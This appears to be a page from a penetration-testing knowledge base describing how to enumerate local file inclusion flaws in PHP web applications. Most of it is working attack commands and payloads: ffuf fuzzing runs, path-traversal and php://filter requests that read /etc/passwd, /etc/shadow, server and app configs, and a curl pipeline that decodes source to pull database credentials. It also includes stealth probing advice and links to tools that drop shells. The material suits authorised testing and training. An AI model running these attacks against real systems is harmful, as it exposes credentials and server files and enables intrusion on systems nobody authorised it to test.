Skip to content

Enumeration

Three enumeration phases for LFI work:

# 1. Find vulnerable parameters (often unlinked from HTML forms)
ffuf -w params.txt:FUZZ -u 'https://target/index.php?FUZZ=test' -fs <baseline_size>
# 2. Find the webroot (for absolute-path inclusions and locating uploaded files)
ffuf -w webroot-paths.txt:FUZZ -u 'https://target/?page=../../../FUZZ/index.php' -fs <baseline>
# 3. Find logs and config (for log poisoning and server fingerprinting)
ffuf -w lfi-wordlist.txt:FUZZ -u 'https://target/?page=../../../FUZZ' -fs <baseline>

Success indicator: response size changes when the fuzzer hits a valid parameter, file path, or directory.

Phase 1 - Finding the vulnerable parameter

Section titled “Phase 1 - Finding the vulnerable parameter”

LFI hides in parameters that aren’t linked from forms. HTML-form parameters tend to be tested better; “internal” / “leftover” parameters often aren’t.

page file path template
include view document content
load read inc src
folder item pg cat
language lang locale country
theme style skin layout
display show render partial
Terminal window
# Baseline - get response size for an invalid parameter value
curl -s 'https://target/index.php?nonexistent=test' | wc -c
# → 2287
ffuf -w /opt/useful/SecLists/Discovery/Web-Content/burp-parameter-names.txt:FUZZ \
-u 'https://target/index.php?FUZZ=test' \
-fs 2287

The -fs 2287 filter excludes responses matching the baseline size - anything different is a candidate. Adjust the size to match your target.

When the baseline varies request-to-request (e.g., due to a session-id or timestamp in the response), filter by status or word count instead:

Terminal window
# Filter by exact word count
-fw 145
# Filter by line count
-fl 64
# Match specific status codes
-mc 200,500

A parameter affecting the response means it’s used - not that it’s vulnerable. Confirm each hit:

Terminal window
# For each interesting parameter
for param in language theme view file; do
curl -s "https://target/index.php?$param=/etc/passwd" | head -c 200
echo "---"
done

A response containing root:x:0:0:... confirms LFI on that parameter.

Don’t limit to GET. Test:

  • POST parameters - same names, sent as form data
  • JSON body keys - {"page": "/etc/passwd"}
  • HTTP headers - X-Original-URL, X-Forwarded-Path, Referer, custom app-specific headers
  • Cookies - sometimes used as templating selectors

Sample header test:

Terminal window
ffuf -w common-headers.txt:HEADER \
-u 'https://target/' \
-H "HEADER: /etc/passwd" \
-mr "root:x:0:0"

Knowing the webroot path is essential for:

  • Reading the source of files you found by URL but don’t know the on-disk path of
  • Locating uploaded files when the URL doesn’t map cleanly to disk
  • Constructing absolute paths when relative paths are blocked

Linux:

/var/www/html/
/var/www/
/srv/www/
/srv/http/
/usr/share/nginx/html/
/usr/local/apache2/htdocs/
/opt/lampp/htdocs/
/home/<user>/public_html/

Windows:

C:\inetpub\wwwroot\
C:\xampp\htdocs\
C:\wamp\www\
C:\Apache24\htdocs\

The trick: fuzz the path, looking for the application’s own index.php. When the LFI sink can load <webroot>/index.php, you’ve found the webroot:

Terminal window
ffuf -w /opt/useful/SecLists/Discovery/Web-Content/default-web-root-directory-linux.txt:FUZZ \
-u 'https://target/?page=../../../../FUZZ/index.php' \
-fs 2287

Adjust the leading ../../../ count to your knowledge of the LFI depth. When it hits, you’ll see the webroot reflected:

/var/www/html/ [Status: 200, Size: ..., Words: ..., Lines: ...]

If php://filter works, read the server config directly:

?page=php://filter/convert.base64-encode/resource=/etc/apache2/apache2.conf
?page=php://filter/convert.base64-encode/resource=/etc/nginx/nginx.conf

Look for DocumentRoot (Apache) or root (Nginx):

DocumentRoot /var/www/html

or

server {
listen 80;
root /var/www/html;
}

The config also reveals the log paths and other useful settings - usually the fastest enumeration path when accessible.

Verbose PHP errors often include the full path:

Warning: include(/var/www/html/languages/../etc/passwd): failed to open stream:
No such file or directory in /var/www/html/index.php on line 12

The in /var/www/html/index.php reveals the webroot.

When the Apache config uses variables (APACHE_LOG_DIR), read envvars:

?page=php://filter/convert.base64-encode/resource=/etc/apache2/envvars
export APACHE_LOG_DIR=/var/log/apache2
export APACHE_RUN_USER=www-data
export APACHE_PID_FILE=/var/run/apache2.pid

For log poisoning and detailed server fingerprinting, you need the log paths.

Terminal window
# Comprehensive LFI wordlist with traversal payloads + common files
/opt/useful/SecLists/Fuzzing/LFI/LFI-Jhaddix.txt
# Linux-specific file paths
# https://raw.githubusercontent.com/DragonJAR/Security-Wordlist/main/LFI-WordList-Linux
# Windows-specific
# https://raw.githubusercontent.com/DragonJAR/Security-Wordlist/main/LFI-WordList-Windows

Usage:

Terminal window
ffuf -w /opt/useful/SecLists/Fuzzing/LFI/LFI-Jhaddix.txt:FUZZ \
-u 'https://target/?page=FUZZ' \
-fs 2287

The Jhaddix list contains both payloads (traversal variants) and target file paths (/etc/passwd, /etc/shadow, etc.). Useful for one-shot scanning.

Terminal window
ffuf -w lfi-wordlist-linux.txt:FUZZ \
-u 'https://target/?page=../../../../FUZZ' \
-fs 2287

Common interesting files this finds:

/etc/hosts
/etc/hostname
/etc/issue
/etc/passwd
/etc/group
/etc/crontab
/etc/sudoers
/etc/apache2/apache2.conf
/etc/apache2/sites-enabled/000-default.conf
/etc/apache2/envvars
/etc/nginx/nginx.conf
/etc/nginx/sites-enabled/default
/etc/php/7.4/apache2/php.ini
/etc/php/8.1/fpm/php.ini
/var/log/apache2/access.log
/var/log/apache2/error.log
/var/log/nginx/access.log
/var/log/nginx/error.log
/var/log/auth.log
/var/log/mail.log
/var/log/syslog
/var/log/dpkg.log
/proc/self/cmdline
/proc/self/environ
/proc/self/status
/proc/version

A few high-information probes:

?page=/etc/os-release # Linux distribution
?page=/etc/issue # Login banner with OS version
?page=/proc/version # Kernel version
?page=/etc/passwd # Linux users
?page=/etc/group # Linux groups (reveals service users)
?page=C:/Windows/win.ini # Confirms Windows
?page=C:/Windows/System32/drivers/etc/hosts # Windows hosts file

The combination quickly identifies the platform. Once OS-known, narrow the rest of enumeration to OS-specific paths.

Reading the index page source via php://filter:

?page=php://filter/convert.base64-encode/resource=index

Parse the decoded source for:

  • include/require references → other PHP files to read
  • Database connection strings → DB credentials
  • API endpoints → other attack surface
  • Hardcoded paths → upload directories, log paths
  • Version comments → framework version for CVE lookup

A few minutes reading the source typically yields enough information to skip the rest of enumeration and head straight for the exploit.

A few tools attempt to automate the LFI workflow end-to-end:

LFISuite https://github.com/D35m0nd142/LFISuite
LFiFreak https://github.com/OsandaMalith/LFiFreak
liffy https://github.com/mzfr/liffy

These tools:

  • Test parameters against common payloads
  • Detect traversal depth automatically
  • Try wrappers (data://, php://filter) when basic LFI works
  • Sometimes drop a shell automatically

Quality varies and most are Python 2 / unmaintained. They miss filter-bypass scenarios that manual testing catches. Useful as a “scan-first” quick check; not a replacement for manual testing.

  • Coverage check on many parameters at once - quickly confirms whether anything is trivially vulnerable
  • First-pass scanning during reconnaissance - produces a list of candidate parameters to investigate manually
  • Lab / CTF environments - known-vulnerable targets where the automation does work
  • Filtered or partially-protected applications - automated tools have fixed payload sets that don’t adapt
  • Non-standard parameter names - tools test obvious names; unusual ones get missed
  • Multi-step second-order LFI - automation can’t chain across registration → trigger flows
Terminal window
# 1. Parameter fuzzing - find the sink
ffuf -w params.txt:FUZZ -u 'https://target/index.php?FUZZ=test' -fs <baseline>
# 2. Confirm LFI on each candidate
for p in $candidates; do
response=$(curl -s "https://target/index.php?$p=/etc/passwd")
echo "$p: $(echo "$response" | grep -c 'root:x:0:0')"
done
# 3. OS and server fingerprint
curl -s "https://target/index.php?page=/etc/os-release"
curl -s "https://target/index.php?page=/proc/version"
# 4. Read PHP config - answers many questions in one shot
curl -s "https://target/index.php?page=php://filter/convert.base64-encode/resource=/etc/php/7.4/apache2/php.ini" \
| grep -oE '[A-Za-z0-9+/=]{200,}' | base64 -d \
| grep -E '^(allow_url_include|allow_url_fopen|disable_functions|extension|open_basedir)'
# 5. Read web app config
curl -s "https://target/index.php?page=php://filter/convert.base64-encode/resource=config" \
| grep -oE '[A-Za-z0-9+/=]{200,}' | base64 -d
# 6. Pivot based on what's available
# - Wrappers? → see /codex/web/lfi/wrappers/
# - Uploads + LFI? → see /codex/web/lfi/file-upload-chain/
# - Readable logs? → see /codex/web/lfi/log-poisoning/
# - Remote URL inclusion? → see /codex/web/lfi/rfi/

Based on prevalence across vulnerable applications:

page file path include
view item src type
folder require inc document
template php_path doc pg
content url load read
data conf dir link

A focused initial scan on these 25 typically finds the vulnerable parameter within seconds when one exists.

When stealth matters, probe sparingly:

Terminal window
# One-shot probe of the most likely candidates
for p in page file path view template lang language; do
curl -s -o /dev/null -w "$p: %{http_code} %{size_download}\n" \
"https://target/index.php?$p=/etc/passwd"
done

Compare response sizes - the one returning a noticeably larger or different-sized response is the candidate. Then commit to a single confirmation request rather than mass-fuzzing.

  • Baseline-size filtering depends on stable responses. When response sizes vary naturally (rotating ads, timestamps, session IDs), -fs is unreliable. Switch to line/word count or regex match.
  • php://filter accelerates everything else. Once you can read source, you discover most other paths without further fuzzing. Read the PHP config, web server config, and app config.php first - they tell you what you need.
  • The webroot fuzz works best with a known relative depth. When you’ve inferred the LFI depth from an error message, set the leading ../ count exactly and the webroot fuzz returns a single clean hit. Generic excess ../ (8-10) works but produces noisier results.
  • OS detection narrows the scope by 50%. Don’t fuzz Linux paths against a Windows target - they all return identical empty responses, polluting the result set.